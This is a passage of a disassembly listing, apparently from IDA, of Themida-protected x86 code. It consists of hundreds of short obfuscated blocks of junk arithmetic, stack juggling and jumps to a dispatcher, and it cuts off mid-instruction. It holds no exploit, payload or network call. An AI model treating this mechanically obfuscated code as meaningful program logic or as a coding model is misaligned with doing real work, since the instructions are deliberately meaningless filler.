Themida_:005580C6j add edi, 13376DEBh xor edi, 13D3020h add edi, 6D06707Dh sub edi, 0F9CF9A70h sub ebp, 6E817709h add ebp, edi add ebp, 6E817709h pop edi or esi, ebp jmp loc_555093 ; --------------------------------------------------------------------------- loc_55F2E7: ; CODE XREF: Themida_:0055A5E3j add ebx, eax add ebx, 68A03A04h pop eax xchg ebx, [esp] jmp loc_55BF04 ; --------------------------------------------------------------------------- loc_55F2F8: ; CODE XREF: Themida_:00563632j mov ecx, 6E3E77B4h not ecx shl ecx, 8 sub ecx, 3C1A30E1h inc ecx add ecx, 68C4F19Ah add ebx, ecx pop ecx mov ecx, ebx jmp loc_554F17 ; --------------------------------------------------------------------------- loc_55F319: ; CODE XREF: Themida_:0055F5B9j add ebp, 149D2ECEh pop edx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 4C4Dh mov [esp], esi push esp mov esi, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_560A3F ; --------------------------------------------------------------------------- loc_55F353: ; CODE XREF: Themida_:0055A92Dj add ebx, 73A66FF9h xor ebx, 198FD601h mov edx, ebx pop ebx xor edx, 67684A3Ah add eax, edx pop edx add eax, 2 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_55D2D4 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push 13D1h jmp loc_562399 ; --------------------------------------------------------------------------- loc_55F396: ; CODE XREF: Themida_:0055F07Dj push esp pop edi add edi, 4 jmp loc_55C4AF ; --------------------------------------------------------------------------- loc_55F3A3: ; CODE XREF: Themida_:0056176Cj sub eax, edx pop edx sub esp, 4 jmp loc_563CA8 ; --------------------------------------------------------------------------- loc_55F3B1: ; CODE XREF: Themida_:00552B29j push edi push 5E9B32F6h pop edi push ebx jmp loc_560998 ; --------------------------------------------------------------------------- loc_55F3BE: ; CODE XREF: Themida_:00561DA5j mov [esp], eax jmp loc_55CAB9 ; --------------------------------------------------------------------------- loc_55F3C6: ; CODE XREF: Themida_:0055D24Bj mov [esp], ebx push eax mov al, 44h push bx mov bh, 83h jmp loc_555268 ; --------------------------------------------------------------------------- lodsb push small 200Ch mov [esp], cx mov ch, 8Eh shl ch, 2 jmp loc_551638 ; --------------------------------------------------------------------------- loc_55F3E8: ; CODE XREF: Themida_:005504CEj sub ecx, edx pop edx push ebx mov ebx, 5C01534Fh sub ecx, 5F4B2711h add ecx, ebx add ecx, 5F4B2711h mov ebx, [esp] add esp, 4 jmp loc_554A8E ; --------------------------------------------------------------------------- loc_55F40A: ; CODE XREF: Themida_:00551517j xor eax, 0C1B464C8h xor edx, eax pop eax xor edx, 68E17EE1h add edi, edx push dword ptr [esp] pop edx jmp loc_552DE1 ; --------------------------------------------------------------------------- push dword ptr [esp] pop eax push eax push 8D3h push esp jmp loc_562A04 ; --------------------------------------------------------------------------- loc_55F433: ; CODE XREF: Themida_:0055D4C6j pop ebx add esp, 4 jmp loc_558AFA ; --------------------------------------------------------------------------- loc_55F43F: ; CODE XREF: Themida_:0055B7BCj dec ebx push ecx mov ecx, 0CEF4073h or ecx, 4FE243EFh xchg edi, ecx not edi xchg edi, ecx add ecx, 4E333828h add ecx, 79F5C68h or ecx, 5B5836BFh xor ecx, 52397418h xor ebx, ecx pop ecx xor ebx, 23B244F1h mov ebp, ebx pop ebx jmp loc_565A97 ; --------------------------------------------------------------------------- loc_55F47B: ; CODE XREF: Themida_:0055E464j mov eax, [esp] add esp, 4 push ebp jmp loc_5546B8 ; --------------------------------------------------------------------------- loc_55F48A: ; CODE XREF: Themida_:0055E7C0j pop eax sub bl, 0E0h sub bl, dh jmp loc_5643D1 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] push small 1810h mov [esp], ax jmp loc_550420 ; --------------------------------------------------------------------------- loc_55F4A7: ; CODE XREF: Themida_:0055AA0Aj mov edi, [esp] add esp, 4 pop edx sub esp, 4 mov [esp], eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] push eax push esp mov eax, [esp] jmp loc_565BCA ; --------------------------------------------------------------------------- loc_55F4D4: ; CODE XREF: Themida_:0055DFD8j add dword ptr [esp], 4 push dword ptr [esp] pop ebx push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 jmp loc_55C8D9 ; --------------------------------------------------------------------------- loc_55F4F2: ; CODE XREF: Themida_:0055D6E4j shl esi, 7 push ecx mov ecx, 42F60A5Dh inc ecx not ecx not ecx not ecx add ecx, 9D190EB7h jmp loc_5631B2 ; --------------------------------------------------------------------------- loc_55F50D: ; CODE XREF: Themida_:0055F058j push ecx mov ecx, 23A04AC0h mov ebp, 39454670h xor ebp, ecx mov ecx, [esp] add esp, 4 jmp loc_560095 ; --------------------------------------------------------------------------- loc_55F525: ; CODE XREF: Themida_:0055213Ej push eax xor dword ptr [esp], 424F1398h pop edi jmp loc_559637 ; --------------------------------------------------------------------------- loc_55F533: ; CODE XREF: Themida_:00557428j add esp, 4 push edx mov edx, 53262252h push edx jmp loc_55B253 ; --------------------------------------------------------------------------- loc_55F545: ; CODE XREF: Themida_:0055F143j add al, 75h push edx mov dl, 0D6h push eax mov ah, 4Ah inc ah jmp loc_557667 ; --------------------------------------------------------------------------- loc_55F554: ; CODE XREF: Themida_:0055325Dj mov ebx, 2 jmp loc_56325B ; --------------------------------------------------------------------------- loc_55F55E: ; CODE XREF: Themida_:00565954j xor ebx, [esp] pop esp mov [esp], edx mov edx, esp sub esp, 4 mov [esp], ecx mov ecx, 231358E7h add ecx, 0DCECA71Dh push 26E9h mov [esp], eax mov eax, 18A52665h sub edx, eax pop eax add edx, ecx jmp loc_55D6A5 ; --------------------------------------------------------------------------- loc_55F58F: ; CODE XREF: Themida_:005641C1j xor edx, 290B36CFh shr edx, 1 sub edx, 4EE4BCCCh xor ebx, edx pop edx push edi mov edi, 5ED8522Bh jmp loc_557C4D ; --------------------------------------------------------------------------- loc_55F5AB: ; CODE XREF: Themida_:00555F02j add edx, 0A0078F07h sub ebp, 149D2ECEh add ebp, edx jmp loc_55F319 ; --------------------------------------------------------------------------- loc_55F5BE: ; CODE XREF: Themida_:0055C5CAj jz loc_5634CA sub esp, 4 jmp loc_55B36A ; --------------------------------------------------------------------------- loc_55F5CC: ; CODE XREF: Themida_:00556C40j mov ecx, [esp] add esp, 4 jmp loc_56208A ; --------------------------------------------------------------------------- loc_55F5DA: ; CODE XREF: Themida_:0055E536j mov ecx, [esp] add esp, 4 add esp, 4 xor ebp, 457406A6h push ecx mov ecx, 22663F2Bh jmp loc_562143 ; --------------------------------------------------------------------------- loc_55F5FA: ; CODE XREF: Themida_:00556768j pop esp jmp loc_551DC0 ; --------------------------------------------------------------------------- loc_55F600: ; CODE XREF: Themida_:005575E9j not ebp sub ebp, 0B29FF608h add edi, ebp pop ebp add edi, 4 push 4C8Dh jmp loc_56474A ; --------------------------------------------------------------------------- loc_55F618: ; CODE XREF: Themida_:0055F264j add ebp, 3BA916B5h xor ebp, 18F80DC2h jmp loc_55D02A ; --------------------------------------------------------------------------- loc_55F629: ; CODE XREF: Themida_:00553207j add ebp, 0AF5354h add eax, ebp pop ebp or eax, eax jnz loc_55448D push edi jmp loc_5627F8 ; --------------------------------------------------------------------------- loc_55F640: ; CODE XREF: Themida_:0055371Bj pop ebx sub esp, 4 mov [esp], edi mov edi, 3F037DBDh or edi, 38EE13B9h sub edi, 94D6817h shl edi, 5 jmp loc_55D26E ; --------------------------------------------------------------------------- loc_55F663: ; CODE XREF: Themida_:0055D1FDj push esi push 662E179Fh pop esi inc esi add esi, 0D73F4863h mov edi, esi pop esi add [esp+4], edi pop edi pop eax sub eax, 3D6D6003h jmp loc_560F1B ; --------------------------------------------------------------------------- loc_55F684: ; CODE XREF: Themida_:0055BD4Cj mov ecx, edi mov edi, [esp] add esp, 4 add ecx, esi pop esi jmp loc_55AC69 ; --------------------------------------------------------------------------- loc_55F694: ; CODE XREF: Themida_:0055B212j add esp, 4 push esi xchg eax, [esp] not eax jmp loc_564D62 ; --------------------------------------------------------------------------- loc_55F6A5: ; CODE XREF: Themida_:0056342Dj push 5F377C6Dh jmp loc_5541A8 ; --------------------------------------------------------------------------- loc_55F6AF: ; CODE XREF: Themida_:0055B789j shl esi, 5 dec esi jmp loc_555995 ; --------------------------------------------------------------------------- loc_55F6B8: ; CODE XREF: Themida_:0055640Aj add esi, eax push ecx push 35A7h jmp loc_552E28 ; --------------------------------------------------------------------------- loc_55F6C5: ; CODE XREF: Themida_:005652C4j push edx mov edx, ebp mov ecx, edx pop edx pop ebp jmp loc_55AC8D ; --------------------------------------------------------------------------- loc_55F6D1: ; CODE XREF: Themida_:00556F36j mov [esp], ebp mov ebp, 4E143541h jmp loc_555843 ; --------------------------------------------------------------------------- loc_55F6DE: ; CODE XREF: Themida_:0055D8B8j push edi jmp loc_55C96E ; --------------------------------------------------------------------------- loc_55F6E4: ; CODE XREF: Themida_:00560B13j add esp, 4 sub esi, 0E31BF328h add eax, 5B3E7C12h jmp loc_555335 ; --------------------------------------------------------------------------- loc_55F6FA: ; CODE XREF: Themida_:00565739j add esp, 4 jmp loc_5593A0 ; --------------------------------------------------------------------------- loc_55F705: ; CODE XREF: Themida_:0055A31Bj mov edx, 2DCE6A21h inc edx jmp loc_564087 ; --------------------------------------------------------------------------- loc_55F710: ; CODE XREF: Themida_:0055B3CAj add bl, 0Bh push dword ptr [esp] pop ecx jmp loc_552143 ; --------------------------------------------------------------------------- loc_55F71C: ; CODE XREF: Themida_:0055ACA1j pop edx add eax, ebp push edx jmp loc_551392 ; --------------------------------------------------------------------------- loc_55F725: ; CODE XREF: Themida_:0055403Aj pop ebp xchg ebp, edi not ebp jmp loc_556108 ; --------------------------------------------------------------------------- loc_55F72F: ; CODE XREF: Themida_:0055E88Aj push ecx pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55F736: ; CODE XREF: Themida_:0055EB3Cj push dword ptr [esp] push dword ptr [esp] jmp loc_55BFAD ; --------------------------------------------------------------------------- loc_55F741: ; CODE XREF: Themida_:0055C9BDj push ebp push dword ptr [esp+4] push dword ptr [esp] jmp loc_553979 ; --------------------------------------------------------------------------- loc_55F74E: ; CODE XREF: Themida_:00551E80j xor ebp, [esp] pop esp mov [esp], ecx push esi push 3D9B019Ch pop esi add esi, 0C264FE68h mov ecx, esi pop esi add ebx, 163B5452h jmp loc_55EB73 ; --------------------------------------------------------------------------- loc_55F770: ; CODE XREF: Themida_:00561717j pop edx xchg eax, [esp] mov esp, [esp] mov [esp], bx push ecx mov cl, 82h shr cl, 4 shr cl, 2 push ebp jmp loc_557F75 ; --------------------------------------------------------------------------- loc_55F78A: ; CODE XREF: Themida_:00555429j mov edx, esi pop esi jmp loc_561715 ; --------------------------------------------------------------------------- loc_55F792: ; CODE XREF: Themida_:0056262Bj add esp, 4 push 4465h mov [esp], edx push 3A530D1Ch jmp loc_563EB0 ; --------------------------------------------------------------------------- loc_55F7AA: ; CODE XREF: Themida_:00562787j pop eax push 43DCh mov [esp], ecx jmp loc_559DCF ; --------------------------------------------------------------------------- loc_55F7B8: ; CODE XREF: Themida_:005647FBj pop edi mov esi, ebx pop ebx jmp loc_5532E6 ; --------------------------------------------------------------------------- loc_55F7C1: ; CODE XREF: Themida_:00557C28j xor edx, [esp] jmp loc_5523B8 ; --------------------------------------------------------------------------- loc_55F7C9: ; CODE XREF: Themida_:0055AA2Aj add eax, 5A68364Ch add eax, 7F444CDFh jmp loc_561A54 ; --------------------------------------------------------------------------- loc_55F7D8: ; CODE XREF: Themida_:00559662j pop ecx push edi mov edi, esp push 1A6Ch mov [esp], ebx mov ebx, 2FB215ACh jmp loc_55C1C8 ; --------------------------------------------------------------------------- loc_55F7EE: ; CODE XREF: Themida_:005505AFj pop esi shr eax, 4 jmp loc_55D9B6 ; --------------------------------------------------------------------------- loc_55F7F7: ; CODE XREF: Themida_:00562A31j xor [esp], eax xor eax, [esp] mov esp, [esp] push ecx mov ecx, 11D21788h jmp loc_558A78 ; --------------------------------------------------------------------------- loc_55F80B: ; CODE XREF: Themida_:00560F0Fj pop edi xchg edx, [esp] mov esp, [esp] mov [esp], edx push edi sub esp, 4 mov [esp], esi mov esi, 68457485h neg esi jmp loc_55B26F ; --------------------------------------------------------------------------- loc_55F82B: ; CODE XREF: Themida_:0055C19Bj mov [esp], ebx jmp loc_553B2B ; --------------------------------------------------------------------------- loc_55F833: ; CODE XREF: Themida_:00565B4Aj shl eax, 4 or eax, 698D69C3h jmp loc_552AE3 ; --------------------------------------------------------------------------- loc_55F840: ; CODE XREF: Themida_:00554002j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edi jmp loc_564942 ; --------------------------------------------------------------------------- loc_55F855: ; CODE XREF: Themida_:00551CE9j inc edi inc edi shl edi, 2 push eax mov eax, 199CF648h jmp loc_552B64 ; --------------------------------------------------------------------------- loc_55F865: ; CODE XREF: Themida_:0055B522j pop esp mov eax, [esp] push ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 jmp loc_55AF73 ; --------------------------------------------------------------------------- loc_55F87D: ; CODE XREF: Themida_:0055A794j shl ebx, 3 xor ebx, 0BAD52C48h sub edx, ebx pop ebx add edx, 8DD27728h jmp loc_561B22 ; --------------------------------------------------------------------------- loc_55F894: ; CODE XREF: Themida_:00560AA1j add esi, ebp jmp loc_55BFEA ; --------------------------------------------------------------------------- loc_55F89B: ; CODE XREF: Themida_:0055D91Bj mov esi, 0FFFFFFFFh jmp loc_553BFA ; --------------------------------------------------------------------------- loc_55F8A5: ; CODE XREF: Themida_:00556FD0j push dx mov dh, 3Bh mov cl, dh jmp loc_550856 ; --------------------------------------------------------------------------- loc_55F8B0: ; CODE XREF: Themida_:0055CBDCj add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp shr ecx, 0Ah jmp loc_55417F ; --------------------------------------------------------------------------- loc_55F8C7: ; CODE XREF: Themida_:00557C31j add esp, 4 or eax, eax jz loc_552370 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_550A64 ; --------------------------------------------------------------------------- loc_55F8DD: ; CODE XREF: Themida_:0055DC80j add esi, 4 jmp loc_56358C ; --------------------------------------------------------------------------- lodsd jmp loc_55CD09 ; --------------------------------------------------------------------------- loc_55F8EE: ; CODE XREF: Themida_:00556EE2j add esp, 4 mov [edx], ch pop ecx push dword ptr [esp] pop edx add esp, 4 jmp loc_550420 ; --------------------------------------------------------------------------- loc_55F903: ; CODE XREF: Themida_:0055433Fj pop ebx add edx, edi jmp loc_55448C ; --------------------------------------------------------------------------- loc_55F90B: ; CODE XREF: Themida_:005541C7j and ebp, 3DD009F4h push esi mov esi, 7DE072BDh push edx mov edx, 0ED72228h jmp loc_55D766 ; --------------------------------------------------------------------------- loc_55F922: ; CODE XREF: Themida_:0055E9D6j push dword ptr [esp+4] pop esi pop dword ptr [esp] pop esp jmp loc_55C277 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_550420 ; --------------------------------------------------------------------------- loc_55F937: ; CODE XREF: Themida_:00559B9Cj xor esi, ecx pop ecx add edx, esi mov esi, [esp] add esp, 4 sub edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] sub esp, 4 push esp jmp loc_55C333 ; --------------------------------------------------------------------------- mov ax, [esp] push edx push esp pop edx push ebx push esi mov esi, 8972AB2h sub esi, 4899793Ah push edi mov edi, 1D806ED6h add edi, 2281DFB6h jmp loc_55E4FE ; --------------------------------------------------------------------------- loc_55F982: ; CODE XREF: Themida_:005551FBj neg ecx shl ecx, 4 jmp loc_55094E ; --------------------------------------------------------------------------- loc_55F98C: ; CODE XREF: Themida_:00553F3Aj pop ebx jmp loc_562DD8 ; --------------------------------------------------------------------------- loc_55F992: ; CODE XREF: Themida_:0055D204j mov edi, 77115CD6h shr edi, 6 not edi add edi, 462077FBh and esi, edi pop edi add esi, 414C5931h add edi, esi pop esi mov edx, edi mov edi, [esp] add esp, 4 xor edx, 6BC66DC7h sub ebx, edx mov edx, [esp] jmp loc_55D4AB ; --------------------------------------------------------------------------- loc_55F9C6: ; CODE XREF: Themida_:00557812j push esp jmp loc_56490E ; --------------------------------------------------------------------------- loc_55F9CC: ; CODE XREF: Themida_:0056025Fj add esp, 4 jmp loc_5622AC ; --------------------------------------------------------------------------- loc_55F9D4: ; CODE XREF: Themida_:0055C7ECj mov [esp], edi mov edi, 4 sub ebp, 70FD5D63h sub ebp, 18305B8Bh add ebp, edi jmp loc_5602F7 ; --------------------------------------------------------------------------- loc_55F9EF: ; CODE XREF: Themida_:005538ABj mov ebx, 6BC71EA6h sub eax, ebx pop ebx jmp loc_55A5B5 ; --------------------------------------------------------------------------- loc_55F9FC: ; CODE XREF: Themida_:005634DBj push dword ptr [esp] pop eax push edx jmp loc_557566 ; --------------------------------------------------------------------------- loc_55FA06: ; CODE XREF: Themida_:00555054j pop edi xchg eax, [esp] pop esp jmp loc_555CF4 ; --------------------------------------------------------------------------- loc_55FA10: ; CODE XREF: Themida_:00555FBFj not ch shl ch, 8 shl ch, 1 jmp loc_551B31 ; --------------------------------------------------------------------------- lodsd push 26C0h mov [esp], edx sub esp, 4 mov [esp], ebx mov ebx, 77FB6C4Ch push ebx not dword ptr [esp] pop ebx inc ebx jmp loc_55AAD9 ; --------------------------------------------------------------------------- loc_55FA3B: ; CODE XREF: Themida_:0055481Dj pop esi sub esp, 4 mov [esp], eax push esi mov esi, 4 mov eax, esi pop esi sub ebx, 32857D33h sub ebx, eax jmp loc_55EAC7 ; --------------------------------------------------------------------------- loc_55FA5B: ; CODE XREF: Themida_:0055A278j xor al, bl inc bl xchg bl, al sub al, 9Fh sub esp, 4 mov [esp], edx push ecx mov cl, 4Eh mov dl, cl pop ecx and dl, 2Ah xor dl, 0C2h add dl, 9Dh jmp loc_5625DE ; --------------------------------------------------------------------------- loc_55FA7D: ; CODE XREF: Themida_:00561B1Dj xor esi, 7755CFh mov ecx, esi jmp loc_554560 ; --------------------------------------------------------------------------- loc_55FA8A: ; CODE XREF: Themida_:0055FD97j xor ecx, edi pop edi jmp loc_557E91 ; --------------------------------------------------------------------------- loc_55FA92: ; CODE XREF: Themida_:00553937j push ebp mov ebp, 0D60FD9B2h add ebx, 6C164EC2h sub ebx, 18E42CFCh jmp loc_5565F1 ; --------------------------------------------------------------------------- loc_55FAA9: ; CODE XREF: Themida_:005588FDj pop edx jmp loc_551C57 ; --------------------------------------------------------------------------- loc_55FAAF: ; CODE XREF: Themida_:0055AC64j mov ebx, [esp] add esp, 4 jmp loc_55656D ; --------------------------------------------------------------------------- loc_55FABD: ; CODE XREF: Themida_:0056034Aj add edx, edi add edx, 45E535F6h pop edi push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp] mov esp, [esp] push eax push esp mov eax, [esp] add esp, 4 add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5547EF ; --------------------------------------------------------------------------- loc_55FAEF: ; CODE XREF: Themida_:0055D7E9j mov ebp, 3D1B3BDFh neg ebp jmp loc_564E66 ; --------------------------------------------------------------------------- loc_55FAFB: ; CODE XREF: Themida_:00553212j xor ebp, 19428547h xor ecx, ebp pop ebp mov eax, ecx pop ecx add edx, eax pop eax jmp loc_564BEC ; --------------------------------------------------------------------------- loc_55FB0F: ; CODE XREF: Themida_:0055DF7Aj add bl, cl pop ecx jmp loc_558902 ; --------------------------------------------------------------------------- loc_55FB17: ; CODE XREF: Themida_:00557139j mov ebp, 0B0BB9B7Fh add ebp, edi pop edi add edi, ebp pop ebp push 6EAAh mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_55D943 ; --------------------------------------------------------------------------- loc_55FB46: ; CODE XREF: Themida_:00565729j push edi mov edi, 1712104Fh sub edi, 51FE44E8h shr edi, 8 and edi, 2EC41BE2h dec edi sub edi, 587C135Dh jmp loc_554F75 ; --------------------------------------------------------------------------- loc_55FB67: ; CODE XREF: Themida_:00559223j pop eax jmp loc_553BDC ; --------------------------------------------------------------------------- loc_55FB6D: ; CODE XREF: Themida_:0055D4D5j pop dx push eax sub esp, 4 mov [esp], esp push edx mov edx, 4 add [esp+4], edx mov edx, [esp] add esp, 4 pop eax add eax, 4 jmp loc_555422 ; --------------------------------------------------------------------------- loc_55FB94: ; CODE XREF: Themida_:0055CFF6j mov esp, [esp] mov [esp], edi push 7367h mov [esp], ebp push 431D1BBBh pop ebp push ebx push esi mov esi, 221D503Eh mov ebx, esi pop esi inc ebx xor ebx, 3A8D2555h and ebp, ebx pop ebx jmp loc_5540CE ; --------------------------------------------------------------------------- loc_55FBC1: ; CODE XREF: Themida_:00557A92j add edi, 4 jmp loc_55E48D ; --------------------------------------------------------------------------- loc_55FBCC: ; CODE XREF: Themida_:0055F237j push edx mov edx, 0C392006h jmp loc_55AFB0 ; --------------------------------------------------------------------------- loc_55FBD7: ; CODE XREF: Themida_:00553C37j pop ebx jmp loc_5645CC ; --------------------------------------------------------------------------- loc_55FBDD: ; CODE XREF: Themida_:00561478j sub ebx, eax pop eax xor ebx, eax push dword ptr [esp] jmp loc_55EBE4 ; --------------------------------------------------------------------------- loc_55FBEA: ; CODE XREF: Themida_:0055DE6Cj add ecx, ebx jmp loc_5631AA ; --------------------------------------------------------------------------- loc_55FBF1: ; CODE XREF: Themida_:005559ECj add edi, 4 xchg edi, [esp] pop esp dec ecx shl ecx, 6 sub esp, 4 mov [esp], edi jmp loc_55C183 ; --------------------------------------------------------------------------- loc_55FC0A: ; CODE XREF: Themida_:0055BEFFj xchg edi, [esp] pop esp add esi, ebp pop ebp xchg esi, [esp] pop esp div cx push 2270h mov [esp], edx push esp pop edx push ecx sub esp, 4 mov [esp], edi jmp loc_55330E ; --------------------------------------------------------------------------- loc_55FC31: ; CODE XREF: Themida_:005511C6j mov ecx, [esp] add esp, 4 pop ebp add ebx, 4 push 3300h mov [esp], ebx push dword ptr [esp+4] jmp loc_5523C6 ; --------------------------------------------------------------------------- loc_55FC4C: ; CODE XREF: Themida_:0056047Aj mov esp, [esp] jmp loc_55DE71 ; --------------------------------------------------------------------------- loc_55FC54: ; CODE XREF: Themida_:0055B57Fj add esp, 4 push ebx push 5C80h mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 push esi push ebp mov ebp, 62661254h not ebp dec ebp jmp loc_55E63E ; --------------------------------------------------------------------------- loc_55FC82: ; CODE XREF: Themida_:005518F1j add ebx, eax add [ebx], ecx pop ebx mov eax, [esp] add esp, 4 jmp loc_5651D5 ; --------------------------------------------------------------------------- loc_55FC95: ; CODE XREF: Themida_:00552654j mov [esp], ebp push edi jmp loc_55885C ; --------------------------------------------------------------------------- loc_55FC9E: ; CODE XREF: Themida_:00552AD3j push dword ptr [esp] pop ecx add esp, 4 push 748Ch mov [esp], ebp jmp loc_561023 ; --------------------------------------------------------------------------- loc_55FCB5: ; CODE XREF: Themida_:0055E90Fj push edi mov edi, 591E6642h neg edi add edi, 3202F23Eh sub ecx, edi pop edi jmp loc_5534C7 ; --------------------------------------------------------------------------- loc_55FCCB: ; CODE XREF: Themida_:00551CADj add ebp, ecx push dword ptr [esp] pop ecx add esp, 4 push edi mov edi, 2 add ebp, edi pop edi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_5588AF ; --------------------------------------------------------------------------- loc_55FCF1: ; CODE XREF: Themida_:0055C244j pop eax push 379Dh mov [esp], ebp push edi jmp loc_561ED8 ; --------------------------------------------------------------------------- loc_55FD00: ; CODE XREF: Themida_:00552765j mov ebp, 2701295Dh jmp loc_55767F ; --------------------------------------------------------------------------- loc_55FD0A: ; CODE XREF: Themida_:0055DF59j xor cl, 51h xor dl, cl jmp loc_564816 ; --------------------------------------------------------------------------- loc_55FD14: ; CODE XREF: Themida_:0055EC82j push ebp mov ebp, 0CAA3F461h sub edi, ebp pop ebp mov ebp, edi pop edi push edx jmp loc_55FDD4 ; --------------------------------------------------------------------------- loc_55FD26: ; CODE XREF: Themida_:00550D21j add esp, 4 push edi mov edi, 779E72E3h jmp loc_55EDEE ; --------------------------------------------------------------------------- loc_55FD34: ; CODE XREF: Themida_:00561481j push 0CAAh mov [esp], esi push esp mov esi, [esp] jmp loc_55B565 ; --------------------------------------------------------------------------- loc_55FD45: ; CODE XREF: Themida_:00555B21j add dh, 0D7h jmp loc_5659F3 ; --------------------------------------------------------------------------- loc_55FD4D: ; CODE XREF: Themida_:00558625j push edi mov edi, 4 jmp loc_55837D ; --------------------------------------------------------------------------- loc_55FD58: ; CODE XREF: Themida_:00562129j push dword ptr [esp] mov eax, [esp] add esp, 4 push edx mov edx, esp push eax mov eax, 7477DC2h jmp loc_55DDBB ; --------------------------------------------------------------------------- loc_55FD6F: ; CODE XREF: Themida_:0055E500j push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi jmp loc_55391A ; --------------------------------------------------------------------------- loc_55FD8A: ; CODE XREF: Themida_:00563A98j dec edi and edi, 7B7B3A78h sub edi, 959727B5h jmp loc_55FA8A ; --------------------------------------------------------------------------- loc_55FD9C: ; CODE XREF: Themida_:0055AD99j push eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_55FDA3: ; CODE XREF: Themida_:0055B820j push 639Ah mov [esp], esi push edx jmp loc_5631E3 ; --------------------------------------------------------------------------- loc_55FDB1: ; CODE XREF: Themida_:00554678j mov ebp, 43D416DBh shr ebp, 2 and ebp, 372E4F99h sub esp, 4 mov [esp], eax mov eax, 24785842h or ebp, eax jmp loc_561AE5 ; --------------------------------------------------------------------------- loc_55FDD4: ; CODE XREF: Themida_:0055FD21j push 358D33D3h pop edx jmp loc_552083 ; --------------------------------------------------------------------------- loc_55FDDF: ; CODE XREF: Themida_:0055793Dj sub esp, 4 mov [esp], ecx mov cl, 1Fh add cl, 63h xor cl, 0BDh sub al, cl pop ecx mov bl, al pop eax push ebx mov bl, 0A8h sub al, bl pop ebx jmp loc_55F11C ; --------------------------------------------------------------------------- loc_55FDFE: ; CODE XREF: Themida_:00564763j pop esi pop dword ptr [esp] jmp loc_5603D9 ; --------------------------------------------------------------------------- loc_55FE07: ; CODE XREF: Themida_:00553200j xor edx, 29D87D8Eh sub ebx, edx pop edx add ebx, ebp add ebx, 5FF0E0Eh pop ebp jmp loc_551981 ; --------------------------------------------------------------------------- loc_55FE1E: ; CODE XREF: Themida_:00556DA7j mov [esp], edi mov edi, 6DD848F8h jmp loc_556170 ; --------------------------------------------------------------------------- loc_55FE2B: ; CODE XREF: Themida_:00554BFCj pop dword ptr [esp] mov esp, [esp] imul cx, ax push cx pushf jmp loc_550420 ; --------------------------------------------------------------------------- lodsb sub esp, 2 mov [esp], dx jmp loc_550F3F ; --------------------------------------------------------------------------- loc_55FE4D: ; CODE XREF: Themida_:005553FBj xchg ebp, ebx push edx mov edx, 0 sub edx, ebp mov ebp, edx pop edx xchg ebp, ebx push 0 sub [esp], ebx jmp loc_555326 ; --------------------------------------------------------------------------- loc_55FE69: ; CODE XREF: Themida_:0055263Ej shr ebx, 3 shr ebx, 2 shl ebx, 7 shl ebx, 2 sub ebx, 5BBA4CC2h xor ebx, 0E6DCA0FDh jmp loc_557118 ; --------------------------------------------------------------------------- loc_55FE86: ; CODE XREF: Themida_:00551090j add edx, 4 jmp loc_5568F8 ; --------------------------------------------------------------------------- loc_55FE8E: ; CODE XREF: Themida_:0055BFE5j mov edi, 0D24A35Fh xor edx, edi pop edi xor eax, edx mov edx, [esp] add esp, 4 jmp loc_55D3BF ; --------------------------------------------------------------------------- loc_55FEA6: ; CODE XREF: Themida_:00551CD2j mov ebx, edi jmp loc_5573D2 ; --------------------------------------------------------------------------- loc_55FEAD: ; CODE XREF: Themida_:00555389j mov [esp], ebx jmp loc_562D8C ; --------------------------------------------------------------------------- loc_55FEB5: ; CODE XREF: Themida_:00555DB5j mov ebx, [esp] jmp loc_55A691 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx mov ecx, esp add ecx, 4 push 35BAh jmp loc_5535AD ; --------------------------------------------------------------------------- loc_55FED4: ; CODE XREF: Themida_:00564DFAj sub esp, 4 mov [esp], eax push esp pop eax push ebp sub esp, 4 mov [esp], ecx push 571B57CEh pop ecx jmp loc_563813 ; --------------------------------------------------------------------------- loc_55FEF1: ; CODE XREF: Themida_:0055DAB5j add ecx, 4 push ebp mov ebp, 4 jmp loc_557161 ; --------------------------------------------------------------------------- loc_55FF02: ; CODE XREF: Themida_:00551AA3j add eax, 21486433h push 6EA3h mov [esp], ecx mov ecx, 18A6588Dh add ecx, 0FFFFFFFFh push 15B5h mov [esp], ecx dec dword ptr [esp] jmp loc_55E91E ; --------------------------------------------------------------------------- loc_55FF27: ; CODE XREF: Themida_:00563AC7j shl dx, 2 sub dx, 0CFAAh jmp loc_558431 ; --------------------------------------------------------------------------- loc_55FF35: ; CODE XREF: Themida_:0055EBF3j push dword ptr [esp] pop ebx add esp, 4 push ebx mov ebx, 5A233F1h xor ebx, 53833BA0h sub ebx, 1D7642CAh shl ebx, 4 shl ebx, 7 not ebx sub ebx, 0A9D3C7FBh jmp loc_55A1DA ; --------------------------------------------------------------------------- loc_55FF64: ; CODE XREF: Themida_:00551B4Cj push ecx jmp loc_555149 ; --------------------------------------------------------------------------- loc_55FF6A: ; CODE XREF: Themida_:005620D6j push ebx mov ebx, 4 jmp loc_560AC2 ; --------------------------------------------------------------------------- loc_55FF75: ; CODE XREF: Themida_:00553D98j push edi push 3497h mov [esp], ebp mov ebp, 47966AB2h xor [esp+4], ebp mov ebp, 